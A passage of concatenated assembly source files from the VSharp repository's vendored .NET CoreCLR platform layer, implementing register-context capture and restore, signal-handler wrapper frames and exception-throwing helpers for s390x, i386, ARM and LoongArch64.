brasl %r14,EXTERNAL_C_FUNC(signal_handler_worker)
LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment):
lmg %r14, %r15, 272(%r11)
.cfi_restore 15
.cfi_restore 14
.cfi_def_cfa 15, 160
br %r14
NESTED_END CallSignalHandlerWrapper\Alignment, _TEXT
.endm
CALL_SIGNAL_HANDLER_WRAPPER 0
|
VSharp-team/VSharp | 3,459 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/s390x/context2.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
//
// Implementation of _CONTEXT_CaptureContext for the IBM s390x platform.
// This function is processor dependent. It is used by exception handling,
// and is always apply to the current thread.
//
#include "unixasmmacros.inc"
#include "asmconstants.h"
// Incoming:
// R2: Context*
//
LEAF_ENTRY CONTEXT_CaptureContext, _TEXT
tm CONTEXT_ContextFlags+3(%r2), CONTEXT_INTEGER
je LOCAL_LABEL(Done_CONTEXT_INTEGER)
stmg %r0, %r14, CONTEXT_R0(%r2)
LOCAL_LABEL(Done_CONTEXT_INTEGER):
tm CONTEXT_ContextFlags+3(%r2), CONTEXT_CONTROL
je LOCAL_LABEL(Done_CONTEXT_CONTROL)
// Set PSW address to return address from %r14
stg %r14, CONTEXT_PSWAddr(%r2)
// Extract PSW mask (CC is already changed; we ignore this here)
epsw %r0, %r1
stm %r0, %r1, CONTEXT_PSWMask(%r2)
// Stack pointer is still unchanged
stg %r15, CONTEXT_R15(%r2)
LOCAL_LABEL(Done_CONTEXT_CONTROL):
tm CONTEXT_ContextFlags+3(%r2), CONTEXT_FLOATING_POINT
je LOCAL_LABEL(Done_CONTEXT_FLOATING_POINT)
std %f0, CONTEXT_F0(%r2)
std %f1, CONTEXT_F1(%r2)
std %f2, CONTEXT_F2(%r2)
std %f3, CONTEXT_F3(%r2)
std %f4, CONTEXT_F4(%r2)
std %f5, CONTEXT_F5(%r2)
std %f6, CONTEXT_F6(%r2)
std %f7, CONTEXT_F7(%r2)
std %f8, CONTEXT_F8(%r2)
std %f9, CONTEXT_F9(%r2)
std %f10, CONTEXT_F10(%r2)
std %f11, CONTEXT_F11(%r2)
std %f12, CONTEXT_F12(%r2)
std %f13, CONTEXT_F13(%r2)
std %f14, CONTEXT_F14(%r2)
std %f15, CONTEXT_F15(%r2)
LOCAL_LABEL(Done_CONTEXT_FLOATING_POINT):
br %r14
LEAF_END CONTEXT_CaptureContext, _TEXT
LEAF_ENTRY RtlCaptureContext, _TEXT
mvhhi CONTEXT_ContextFlags+2(%r2), ((CONTEXT_S390X | CONTEXT_FULL) & 0xffff)
mvhhi CONTEXT_ContextFlags(%r2), ((CONTEXT_S390X | CONTEXT_FULL) >> 16)
jg C_FUNC(CONTEXT_CaptureContext)
LEAF_END RtlCaptureContext, _TEXT
LEAF_ENTRY RtlRestoreContext, _TEXT
lgr %r1, %r14
tm CONTEXT_ContextFlags+3(%r2), CONTEXT_FLOATING_POINT
je LOCAL_LABEL(Done_Restore_CONTEXT_FLOATING_POINT)
ld %f0, CONTEXT_F0(%r2)
ld %f1, CONTEXT_F1(%r2)
ld %f2, CONTEXT_F2(%r2)
ld %f3, CONTEXT_F3(%r2)
ld %f4, CONTEXT_F4(%r2)
ld %f5, CONTEXT_F5(%r2)
ld %f6, CONTEXT_F6(%r2)
ld %f7, CONTEXT_F7(%r2)
ld %f8, CONTEXT_F8(%r2)
ld %f9, CONTEXT_F9(%r2)
ld %f10, CONTEXT_F10(%r2)
ld %f11, CONTEXT_F11(%r2)
ld %f12, CONTEXT_F12(%r2)
ld %f13, CONTEXT_F13(%r2)
ld %f14, CONTEXT_F14(%r2)
ld %f15, CONTEXT_F15(%r2)
LOCAL_LABEL(Done_Restore_CONTEXT_FLOATING_POINT):
tm CONTEXT_ContextFlags+3(%r2), CONTEXT_CONTROL
je LOCAL_LABEL(Done_Restore_CONTEXT_CONTROL)
// We do *not* attempt to restore the PSW mask here!
lg %r1, CONTEXT_PSWAddr(%r2)
lg %r15, CONTEXT_R15(%r2)
LOCAL_LABEL(Done_Restore_CONTEXT_CONTROL):
tm CONTEXT_ContextFlags+3(%r2), CONTEXT_INTEGER
je LOCAL_LABEL(Done_Restore_CONTEXT_INTEGER)
// We do *not* restore %r0 and %r1 here!
lmg %r2, %r14, CONTEXT_R2(%r2)
LOCAL_LABEL(Done_Restore_CONTEXT_INTEGER):
br %r1
LEAF_END RtlRestoreContext, _TEXT
|
VSharp-team/VSharp | 2,128 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/s390x/exceptionhelper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
#include "unixasmmacros.inc"
#include "asmconstants.h"
//////////////////////////////////////////////////////////////////////////
//
// This function creates a stack frame right below the target frame, restores all callee
// saved registers from the passed in context, sets R15 to that frame and sets the
// return address to the target frame's PSW address.
// Then it uses the ThrowExceptionHelper to throw the passed in exception from that context.
// EXTERN_C void ThrowExceptionFromContextInternal(CONTEXT* context, PAL_SEHException* ex);
LEAF_ENTRY ThrowExceptionFromContextInternal, _TEXT
// Save callee-saved registers to the stack so that unwinding can work at
// any intermediate step while loading up target registers.
stmg %r6, %r15, 48(%r15)
.cfi_offset 6, -112
.cfi_offset 7, -104
.cfi_offset 8, -96
.cfi_offset 9, -88
.cfi_offset 10, -80
.cfi_offset 11, -72
.cfi_offset 12, -64
.cfi_offset 13, -56
.cfi_offset 14, -48
.cfi_offset 15, -40
lg %r6, CONTEXT_R6(%r2)
lg %r7, CONTEXT_R7(%r2)
lg %r8, CONTEXT_R8(%r2)
lg %r9, CONTEXT_R9(%r2)
lg %r10, CONTEXT_R10(%r2)
lg %r11, CONTEXT_R11(%r2)
lg %r12, CONTEXT_R12(%r2)
lg %r13, CONTEXT_R13(%r2)
lg %r14, CONTEXT_PSWAddr(%r2)
lg %r15, CONTEXT_R15(%r2)
// After changing %r15, unwinding no longer finds the registers
// saved above. Switch to the target frame at this point.
.cfi_restore 6
.cfi_restore 7
.cfi_restore 8
.cfi_restore 9
.cfi_restore 10
.cfi_restore 11
.cfi_restore 12
.cfi_restore 13
.cfi_restore 14
.cfi_restore 15
// The PAL_SEHException pointer
lgr %r2, %r3
jg EXTERNAL_C_FUNC(ThrowExceptionHelper)
LEAF_END ThrowExceptionFromContextInternal, _TEXT
|
VSharp-team/VSharp | 1,472 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/i386/callsignalhandlerwrapper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
.intel_syntax noprefix
#include "unixasmmacros.inc"
#include "asmconstants.h"
.macro CALL_SIGNAL_HANDLER_WRAPPER Alignment
.globl C_FUNC(SignalHandlerWorkerReturnOffset\Alignment)
C_FUNC(SignalHandlerWorkerReturnOffset\Alignment):
.int LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment)-C_FUNC(CallSignalHandlerWrapper\Alignment)
// This function is never called, only a fake stack frame will be setup to have a return
// address set to SignalHandlerWorkerReturn during SIGSEGV handling.
// It enables the unwinder to unwind stack from the handling code to the actual failure site.
NESTED_ENTRY CallSignalHandlerWrapper\Alignment, _TEXT, NoHandler
.cfi_def_cfa_offset (4 + \Alignment) // return address + stack alignment
.cfi_offset eip, -(4 + \Alignment)
push ebp
.cfi_adjust_cfa_offset 4
.cfi_rel_offset ebp, 0
mov ebp, esp
.cfi_def_cfa_register ebp
// Align stack
sub esp, 8
// Simulate arguments pushing
push eax
push eax
push eax
push eax
call EXTERNAL_C_FUNC(signal_handler_worker)
LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment):
add esp, 4 * 4 + 8
pop ebp
ret
NESTED_END CallSignalHandlerWrapper\Alignment, _TEXT
.endm
CALL_SIGNAL_HANDLER_WRAPPER 0
CALL_SIGNAL_HANDLER_WRAPPER 4
CALL_SIGNAL_HANDLER_WRAPPER 8
CALL_SIGNAL_HANDLER_WRAPPER 12
|
VSharp-team/VSharp | 4,009 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/i386/context2.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
.intel_syntax noprefix
#include "unixasmmacros.inc"
#include "asmconstants.h"
//
// Implementation of CONTEXT_CaptureContext for the Intel x86 platform.
//
// extern void CONTEXT_CaptureContext(LPCONTEXT lpContext);
//
// This function is processor-dependent. It is used by exception handling,
// and is always apply to the current thread.
//
LEAF_ENTRY CONTEXT_CaptureContext, _TEXT
// Store
push eax
push ebx
// The stack will contain the following elements on the top of
// the caller's stack
// [ebx] / esp + 00
// [eax] / esp + 04
// [ret] / esp + 08
// [arg0: lpContext] / esp + 12
mov eax, [esp + 12] // eax will point to lpContext
// Capture INTEGER registers
mov ebx, [esp + 4]
mov [eax + CONTEXT_Eax], ebx
mov ebx, [esp]
mov [eax + CONTEXT_Ebx], ebx
mov [eax + CONTEXT_Ecx], ecx
mov [eax + CONTEXT_Edx], edx
mov [eax + CONTEXT_Esi], esi
mov [eax + CONTEXT_Edi], edi
// Capture CONTROL registers
mov [eax + CONTEXT_Ebp], ebp
lea ebx, [esp + 12]
mov [eax + CONTEXT_Esp], ebx
mov ebx, [esp + 8]
mov [eax + CONTEXT_Eip], ebx
push cs
xor ebx, ebx
pop bx
mov [eax + CONTEXT_SegCs], ebx
push ss
xor ebx, ebx
pop bx
mov [eax + CONTEXT_SegSs], ebx
pushf
xor ebx, ebx
pop bx
mov [eax + CONTEXT_EFlags], ebx
test BYTE PTR [eax + CONTEXT_ContextFlags], CONTEXT_FLOATING_POINT
je LOCAL_LABEL(Done_CONTEXT_FLOATING_POINT)
// Capture FPU status
fnsave [eax + CONTEXT_FloatSave]
frstor [eax + CONTEXT_FloatSave]
LOCAL_LABEL(Done_CONTEXT_FLOATING_POINT):
test BYTE PTR [eax + CONTEXT_ContextFlags], CONTEXT_EXTENDED_REGISTERS
je LOCAL_LABEL(Done_CONTEXT_EXTENDED_REGISTERS)
movdqu [eax + CONTEXT_Xmm0], xmm0
movdqu [eax + CONTEXT_Xmm1], xmm1
movdqu [eax + CONTEXT_Xmm2], xmm2
movdqu [eax + CONTEXT_Xmm3], xmm3
movdqu [eax + CONTEXT_Xmm4], xmm4
movdqu [eax + CONTEXT_Xmm5], xmm5
movdqu [eax + CONTEXT_Xmm6], xmm6
movdqu [eax + CONTEXT_Xmm7], xmm7
LOCAL_LABEL(Done_CONTEXT_EXTENDED_REGISTERS):
// Restore
pop ebx
pop eax
ret
LEAF_END CONTEXT_CaptureContext, _TEXT
LEAF_ENTRY RtlCaptureContext, _TEXT
push eax
mov eax, [esp + 8]
mov DWORD PTR [eax + CONTEXT_ContextFlags], (CONTEXT_FLOATING_POINT)
pop eax
jmp C_FUNC(CONTEXT_CaptureContext)
LEAF_END RtlCaptureContext, _TEXT
LEAF_ENTRY RtlRestoreContext, _TEXT
#ifdef HAS_ASAN
call EXTERNAL_C_FUNC(__asan_handle_no_return)
#endif
mov eax, [esp + 4]
test BYTE PTR [eax + CONTEXT_ContextFlags], CONTEXT_FLOATING_POINT
je LOCAL_LABEL(Done_Restore_CONTEXT_FLOATING_POINT)
frstor [eax + CONTEXT_FloatSave]
LOCAL_LABEL(Done_Restore_CONTEXT_FLOATING_POINT):
test BYTE PTR [eax + CONTEXT_ContextFlags], CONTEXT_EXTENDED_REGISTERS
je LOCAL_LABEL(Done_Restore_CONTEXT_EXTENDED_REGISTERS)
movdqu xmm0, [eax + CONTEXT_Xmm0]
movdqu xmm1, [eax + CONTEXT_Xmm1]
movdqu xmm2, [eax + CONTEXT_Xmm2]
movdqu xmm3, [eax + CONTEXT_Xmm3]
movdqu xmm4, [eax + CONTEXT_Xmm4]
movdqu xmm5, [eax + CONTEXT_Xmm5]
movdqu xmm6, [eax + CONTEXT_Xmm6]
movdqu xmm7, [eax + CONTEXT_Xmm7]
LOCAL_LABEL(Done_Restore_CONTEXT_EXTENDED_REGISTERS):
// Restore Stack
mov esp, [eax + CONTEXT_Esp]
// Create a minimal frame
push DWORD PTR [eax + CONTEXT_Eip]
// Restore register(s)
mov ebp, [eax + CONTEXT_Ebp]
mov edi, [eax + CONTEXT_Edi]
mov esi, [eax + CONTEXT_Esi]
mov edx, [eax + CONTEXT_Edx]
mov ecx, [eax + CONTEXT_Ecx]
mov ebx, [eax + CONTEXT_Ebx]
mov eax, [eax + CONTEXT_Eax]
// Resume
ret
LEAF_END RtlRestoreContext, _TEXT
|
VSharp-team/VSharp | 1,973 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/i386/exceptionhelper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
.intel_syntax noprefix
#include "unixasmmacros.inc"
#include "asmconstants.h"
//////////////////////////////////////////////////////////////////////////
//
// EXTERN_C void ThrowExceptionFromContextInternal(CONTEXT* context, PAL_SEHException* ex);
//
// This function creates a stack frame right below the target frame, restores all callee
// saved registers from the passed in context, sets the SP to that frame and sets the
// return address to the target frame's IP.
// Then it uses the ThrowExceptionHelper to throw the passed in exception from that context.
//
//////////////////////////////////////////////////////////////////////////
LEAF_ENTRY ThrowExceptionFromContextInternal, _TEXT
#ifdef HAS_ASAN
// Need to call __asan_handle_no_return explicitly here because we re-initialize ESP before
// throwing exception in ThrowExceptionHelper
call EXTERNAL_C_FUNC(__asan_handle_no_return)
#endif
push ebp
mov ecx, [esp + 12] // ecx: PAL_SEHException * (first argument for ThrowExceptionHelper)
mov eax, [esp + 8] // ebx: CONTEXT *
mov ebp, [eax + CONTEXT_Ebp]
mov esp, [eax + CONTEXT_Esp]
mov ebx, [eax + CONTEXT_Ebx]
mov esi, [eax + CONTEXT_Esi]
mov edi, [eax + CONTEXT_Edi]
// The ESP is re-initialized as the target frame's value, so the current function's
// CFA is now right at the ESP.
.cfi_def_cfa_offset 0
// Indicate that now that we have moved the RSP to the target address,
// the EBP is no longer saved in the current stack frame.
.cfi_restore ebp
// Store return address to the stack
mov eax, [eax + CONTEXT_Eip]
push eax
jmp EXTERNAL_C_FUNC(ThrowExceptionHelper)
LEAF_END ThrowExceptionFromContextInternal, _TEXT
|
VSharp-team/VSharp | 1,712 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/arm/callsignalhandlerwrapper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
#include "unixasmmacros.inc"
#include "asmconstants.h"
.syntax unified
#ifndef __armv6__
.thumb
#endif
.macro CALL_SIGNAL_HANDLER_WRAPPER Alignment
.globl C_FUNC(SignalHandlerWorkerReturnOffset\Alignment)
C_FUNC(SignalHandlerWorkerReturnOffset\Alignment):
.int LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment)-C_FUNC(CallSignalHandlerWrapper\Alignment)
// This function is never called, only a fake stack frame will be setup to have a return
// address set to SignalHandlerWorkerReturn during SIGSEGV handling.
// It enables the unwinder to unwind stack from the handling code to the actual failure site.
NESTED_ENTRY CallSignalHandlerWrapper\Alignment, _TEXT, NoHandler
#ifndef __linux__
__StackAllocationSize = (8 + 4 + \Alignment) // red zone + alignment
alloc_stack __StackAllocationSize
PROLOG_PUSH "{r7, r11, lr}"
bl EXTERNAL_C_FUNC(signal_handler_worker)
LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment):
EPILOG_POP "{r7, r11, lr}"
free_stack __StackAllocationSize
bx lr
#else
// This unwind information is needed for lldb gdb doesn't use it and tries
// to read all registers from $sp + 12
.save {r0-r15}
.pad #12
bl EXTERNAL_C_FUNC(signal_handler_worker)
LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment):
// Following instruction are needed to say gdb that this frame is SIGTRAMP_FRAME
// and it can restore all registers from stack
mov.w r7, #119
svc 0
#endif
NESTED_END CallSignalHandlerWrapper\Alignment, _TEXT
.endm
CALL_SIGNAL_HANDLER_WRAPPER 0
CALL_SIGNAL_HANDLER_WRAPPER 4
|
VSharp-team/VSharp | 4,755 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/arm/context2.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
//
// Implementation of _CONTEXT_CaptureContext for the ARM platform.
// This function is processor dependent. It is used by exception handling,
// and is always apply to the current thread.
//
#include "unixasmmacros.inc"
#include "asmconstants.h"
.syntax unified
#ifndef __armv6__
.thumb
#endif
#define CONTEXT_ARM 0x00200000
#define CONTEXT_CONTROL 1 // Sp, Lr, Pc, Cpsr
#define CONTEXT_INTEGER 2 // R0-R12
#define CONTEXT_SEGMENTS 4 //
#define CONTEXT_FLOATING_POINT 8
#define CONTEXT_DEBUG_REGISTERS 16 //
#define CONTEXT_FULL (CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_FLOATING_POINT)
// Incoming:
// r0: Context*
//
LEAF_ENTRY CONTEXT_CaptureContext, _TEXT
// Ensure we save these registers
push {r4-r11}
// Save processor flags before calling any of the following 'test' instructions
// because they will modify state of some flags
push {r1}
mrs r1, apsr // Get APSR - equivalent to eflags
push {r1} // Save APSR
END_PROLOGUE
push {r2}
ldr r2, [r0, #(CONTEXT_ContextFlags)]
tst r2, #(CONTEXT_INTEGER)
pop {r2}
// Add 4 to stack so we point at R1, pop, then sub 8 to point at APSR
add sp, sp, #4
pop {r1}
sub sp, sp, #8
itttt ne
strne r0, [r0, #(CONTEXT_R0)]
addne r0, CONTEXT_R1
stmiane r0, {r1-r12}
subne r0, CONTEXT_R1
ldr r2, [r0, #(CONTEXT_ContextFlags)]
tst r2, #(CONTEXT_CONTROL)
ittt ne
addne sp, sp, #(10*4) // This needs to put the stack in the same state as it started
strne sp, [r0, #(CONTEXT_Sp)]
subne sp, sp, #(10*4)
itt ne
strne lr, [r0, #(CONTEXT_Lr)]
strne lr, [r0, #(CONTEXT_Pc)]
// Get the APSR pushed onto the stack at the start
pop {r1}
it ne
strne r1, [r0, #(CONTEXT_Cpsr)]
ldr r2, [r0, #(CONTEXT_ContextFlags)]
tst r2, #(CONTEXT_FLOATING_POINT)
itt ne
vmrsne r3, fpscr
strne r3, [r0, #(CONTEXT_Fpscr)]
itttt ne
addne r0, CONTEXT_D0
vstmiane r0!, {d0-d15}
#if CLR_ARM_FPU_CAPABILITY & 0x4
vstmiane r0!, {d16-d31}
#else
addne r0, r0, #128
#endif
subne r0, CONTEXT_D31
// Make sure sp is restored
add sp, sp, #4
// Restore callee saved registers
pop {r4-r11}
bx lr
LEAF_END CONTEXT_CaptureContext, _TEXT
// Incoming:
// R0: Context*
//
LEAF_ENTRY RtlCaptureContext, _TEXT
push {r1}
mov r1, #0
orr r1, r1, #CONTEXT_ARM
orr r1, r1, #CONTEXT_INTEGER
orr r1, r1, #CONTEXT_CONTROL
orr r1, r1, #CONTEXT_FLOATING_POINT
str r1, [r0, #(CONTEXT_ContextFlags)]
pop {r1}
b C_FUNC(CONTEXT_CaptureContext)
LEAF_END RtlCaptureContext, _TEXT
// Incoming:
// r0: Context*
// r1: Exception*
//
LEAF_ENTRY RtlRestoreContext, _TEXT
END_PROLOGUE
#ifdef HAS_ASAN
ldr r2, [r0, #(CONTEXT_ContextFlags)]
tst r2, #(CONTEXT_CONTROL)
beq LOCAL_LABEL(Restore_CONTEXT_FLOATING_POINT)
push {r0, r1}
bl EXTERNAL_C_FUNC(__asan_handle_no_return)
pop {r0, r1}
LOCAL_LABEL(Restore_CONTEXT_FLOATING_POINT):
#endif
ldr r2, [r0, #(CONTEXT_ContextFlags)]
tst r2, #(CONTEXT_FLOATING_POINT)
itttt ne
addne r0, CONTEXT_D0
vldmiane r0!, {d0-d15}
#if CLR_ARM_FPU_CAPABILITY & 0x4
vldmiane r0, {d16-d31}
#else
nopne
#endif
subne r0, CONTEXT_D16
itt ne
ldrne r3, [r0, #(CONTEXT_Fpscr)]
vmrsne r3, FPSCR
ldr r2, [r0, #(CONTEXT_ContextFlags)]
tst r2, #(CONTEXT_CONTROL)
it eq
beq LOCAL_LABEL(No_Restore_CONTEXT_CONTROL)
ldr r2, [r0, #(CONTEXT_ContextFlags)]
tst r2, #(CONTEXT_INTEGER)
it eq
beq LOCAL_LABEL(No_Restore_CONTEXT_INTEGER)
ldr R2, [r0, #(CONTEXT_Cpsr)]
msr APSR, r2
// Ideally, we would like to use `ldmia r0, {r0-r12, sp, lr, pc}` here,
// but clang 3.6 and later, as per ARM recommendation, disallows using
// Sp in the register list, and Pc and Lr simultaneously.
// So we are going to use the IPC register r12 to copy Sp, Lr and Pc
// which should be ok -- TODO: Is this really ok?
add r12, r0, CONTEXT_R0
ldm r12, {r0-r11}
ldr sp, [r12, #(CONTEXT_Sp - (CONTEXT_R0))]
ldr lr, [r12, #(CONTEXT_Lr - (CONTEXT_R0))]
ldr pc, [r12, #(CONTEXT_Pc - (CONTEXT_R0))]
LOCAL_LABEL(No_Restore_CONTEXT_INTEGER):
ldr r2, [r0, #(CONTEXT_Cpsr)]
msr APSR, r2
ldr sp, [r0, #(CONTEXT_Sp)]
ldr lr, [r0, #(CONTEXT_Lr)]
ldr pc, [r0, #(CONTEXT_Pc)]
LOCAL_LABEL(No_Restore_CONTEXT_CONTROL):
ldr r2, [r0, #(CONTEXT_ContextFlags)]
tst r2, #(CONTEXT_INTEGER)
itt ne
addne r0, CONTEXT_R0
ldmiane r0, {r0-r12}
sub sp, sp, #4
bx lr
LEAF_END RtlRestoreContext, _TEXT
|
VSharp-team/VSharp | 1,539 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/arm/exceptionhelper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
#include "unixasmmacros.inc"
#include "asmconstants.h"
.syntax unified
#ifndef __armv6__
.thumb
#endif
// EXTERN_C void ThrowExceptionFromContextInternal(CONTEXT* context, PAL_SEHException* ex);
LEAF_ENTRY ThrowExceptionFromContextInternal, _TEXT
// Ported from src/pal/src/arch/amd64/exceptionhelper.S
#ifdef HAS_ASAN
// Need to call __asan_handle_no_return explicitly here because we re-initialize SP before
// throwing exception in ThrowExceptionHelper
push_nonvol_reg "{r0, r1}"
bl EXTERNAL_C_FUNC(__asan_handle_no_return)
pop_nonvol_reg "{r0, r1}"
#endif
push_nonvol_reg {r7} /* FP. x64-RBP */
ldr r4, [r0, #(CONTEXT_R4)]
ldr r5, [r0, #(CONTEXT_R5)]
ldr r6, [r0, #(CONTEXT_R6)]
ldr r7, [r0, #(CONTEXT_R7)]
ldr r8, [r0, #(CONTEXT_R8)]
ldr r9, [r0, #(CONTEXT_R9)]
ldr r10, [r0, #(CONTEXT_R10)]
ldr r11, [r0, #(CONTEXT_R11)]
ldr sp, [r0, #(CONTEXT_Sp)]
ldr lr, [r0, #(CONTEXT_Pc)]
vldr d8, [r0, #(CONTEXT_D8)]
vldr d9, [r0, #(CONTEXT_D9)]
vldr d10, [r0, #(CONTEXT_D10)]
vldr d11, [r0, #(CONTEXT_D11)]
vldr d12, [r0, #(CONTEXT_D12)]
vldr d13, [r0, #(CONTEXT_D13)]
vldr d14, [r0, #(CONTEXT_D14)]
vldr d15, [r0, #(CONTEXT_D15)]
// The PAL_SEHException pointer
mov r0, r1
b EXTERNAL_C_FUNC(ThrowExceptionHelper)
LEAF_END ThrowExceptionFromContextInternal, _TEXT
|
VSharp-team/VSharp | 1,321 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/loongarch64/callsignalhandlerwrapper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
#include "unixasmmacros.inc"
#include "asmconstants.h"
.macro CALL_SIGNAL_HANDLER_WRAPPER Alignment
.globl C_FUNC(SignalHandlerWorkerReturnOffset\Alignment)
C_FUNC(SignalHandlerWorkerReturnOffset\Alignment):
.dword LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment)-C_FUNC(CallSignalHandlerWrapper\Alignment)
// This function is never called, only a fake stack frame will be setup to have a return
// address set to SignalHandlerWorkerReturn during SIGSEGV handling.
// It enables the unwinder to unwind stack from the handling code to the actual failure site.
NESTED_ENTRY CallSignalHandlerWrapper\Alignment, _TEXT, NoHandler
__StackAllocationSize = (128 + 8 + 8 + \Alignment) // red zone + fp + ra + alignment
PROLOG_STACK_ALLOC __StackAllocationSize
.cfi_adjust_cfa_offset __StackAllocationSize
// $fp,$ra
PROLOG_SAVE_REG_PAIR 22, 1, 0
bl signal_handler_worker
LOCAL_LABEL(SignalHandlerWorkerReturn\Alignment):
EPILOG_RESTORE_REG_PAIR 22, 1, 0
EPILOG_STACK_FREE __StackAllocationSize
jirl $r0, $ra, 0
NESTED_END CallSignalHandlerWrapper\Alignment, _TEXT
.endm
CALL_SIGNAL_HANDLER_WRAPPER 0
CALL_SIGNAL_HANDLER_WRAPPER 8
|
VSharp-team/VSharp | 1,827 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/loongarch64/dispatchexceptionwrapper.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
//
// Implementation of the PAL_DispatchExceptionWrapper that is
// interposed between a function that caused a hardware fault
// and PAL_DispatchException that throws an SEH exception for
// the fault, to make the stack unwindable.
//
#include "unixasmmacros.inc"
// Offset of the return address from the PAL_DispatchException in the PAL_DispatchExceptionWrapper
.globl C_FUNC(PAL_DispatchExceptionReturnOffset)
C_FUNC(PAL_DispatchExceptionReturnOffset):
.int LOCAL_LABEL(PAL_DispatchExceptionReturn) - C_FUNC(PAL_DispatchExceptionWrapper)
//
// PAL_DispatchExceptionWrapper will never be called; it only serves
// to be referenced from a stack frame on the faulting thread. Its
// unwinding behavior is equivalent to any standard function.
// It is analogous to the following source file.
//
// extern "C" void PAL_DispatchException(CONTEXT *pContext, EXCEPTION_RECORD *pExceptionRecord, MachExceptionInfo *pMachExceptionInfo);
//
// extern "C" void PAL_DispatchExceptionWrapper()
// {
// CONTEXT Context;
// EXCEPTION_RECORD ExceptionRecord;
// MachExceptionInfo MachExceptionInfo;
// PAL_DispatchException(&Context, &ExceptionRecord, &MachExceptionInfo);
// }
//
NESTED_ENTRY PAL_DispatchExceptionWrapper, _TEXT, NoHandler
// $fp,$ra
PROLOG_SAVE_REG_PAIR_INDEXED 22, 1, -16
// Should never actually run
EMIT_BREAKPOINT
bl EXTERNAL_C_FUNC(PAL_DispatchException)
LOCAL_LABEL(PAL_DispatchExceptionReturn):
// Should never return
EMIT_BREAKPOINT
// $fp,$ra
EPILOG_RESTORE_REG_PAIR_INDEXED 22, 1, 16
jirl $r0, $ra, 0
NESTED_END PAL_DispatchExceptionWrapper, _TEXT
|
VSharp-team/VSharp | 7,187 | VSharp.CoverageInstrumenter/coreclr/pal/src/arch/loongarch64/context2.S | // Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
//
// Implementation of _CONTEXT_CaptureContext for the LOONGARCH platform.
// This function is processor dependent. It is used by exception handling,
// and is always apply to the current thread.
//
#include "unixasmmacros.inc"
#include "asmconstants.h"
// Incoming:
// a0: Context*
// a1: Exception*
//
LEAF_ENTRY RtlRestoreContext, _TEXT
#ifdef HAS_ASAN
ld.w $r21, $a0, CONTEXT_ContextFlags
ext $r21, $r21, CONTEXT_FLOATING_POINT_BIT, 1
beq $r21, $r0, LOCAL_LABEL(Restore_CONTEXT_FLOATING_POINT)
addi.d $sp, $sp, -16
st.d a0, $sp, 0
st.d a1, $sp, 8
bl __asan_handle_no_return
ld.d $a0, $sp, 0
ld.d $a1, $sp, 8
addi.d $sp, $sp, 16
LOCAL_LABEL(Restore_CONTEXT_FLOATING_POINT):
#endif
ori $t4, $a0, 0
ld.w $r21, $t4, CONTEXT_ContextFlags
bstrpick.w $t1, $r21, CONTEXT_FLOATING_POINT_BIT, CONTEXT_FLOATING_POINT_BIT
beq $t1, $r0, LOCAL_LABEL(No_Restore_CONTEXT_FLOATING_POINT)
//64-bits FPR.
addi.d $t0, $t4, CONTEXT_FPU_OFFSET
fld.d $f0, $t0, CONTEXT_F0
fld.d $f1, $t0, CONTEXT_F1
fld.d $f2, $t0, CONTEXT_F2
fld.d $f3, $t0, CONTEXT_F3
fld.d $f4, $t0, CONTEXT_F4
fld.d $f5, $t0, CONTEXT_F5
fld.d $f6, $t0, CONTEXT_F6
fld.d $f7, $t0, CONTEXT_F7
fld.d $f8, $t0, CONTEXT_F8
fld.d $f9, $t0, CONTEXT_F9
fld.d $f10, $t0, CONTEXT_F10
fld.d $f11, $t0, CONTEXT_F11
fld.d $f12, $t0, CONTEXT_F12
fld.d $f13, $t0, CONTEXT_F13
fld.d $f14, $t0, CONTEXT_F14
fld.d $f15, $t0, CONTEXT_F15
fld.d $f16, $t0, CONTEXT_F16
fld.d $f17, $t0, CONTEXT_F17
fld.d $f18, $t0, CONTEXT_F18
fld.d $f19, $t0, CONTEXT_F19
fld.d $f20, $t0, CONTEXT_F20
fld.d $f21, $t0, CONTEXT_F21
fld.d $f22, $t0, CONTEXT_F22
fld.d $f23, $t0, CONTEXT_F23
fld.d $f24, $t0, CONTEXT_F24
fld.d $f25, $t0, CONTEXT_F25
fld.d $f26, $t0, CONTEXT_F26
fld.d $f27, $t0, CONTEXT_F27
fld.d $f28, $t0, CONTEXT_F28
fld.d $f29, $t0, CONTEXT_F29
fld.d $f30, $t0, CONTEXT_F30
fld.d $f31, $t0, CONTEXT_F31
ld.w $t1, $t0, CONTEXT_FLOAT_CONTROL_OFFSET
movgr2fcsr $fcsr0, $t1
LOCAL_LABEL(No_Restore_CONTEXT_FLOATING_POINT):
bstrpick.w $t1, $r21, CONTEXT_INTEGER_BIT, CONTEXT_INTEGER_BIT
beq $t1, $r0, LOCAL_LABEL(No_Restore_CONTEXT_INTEGER)
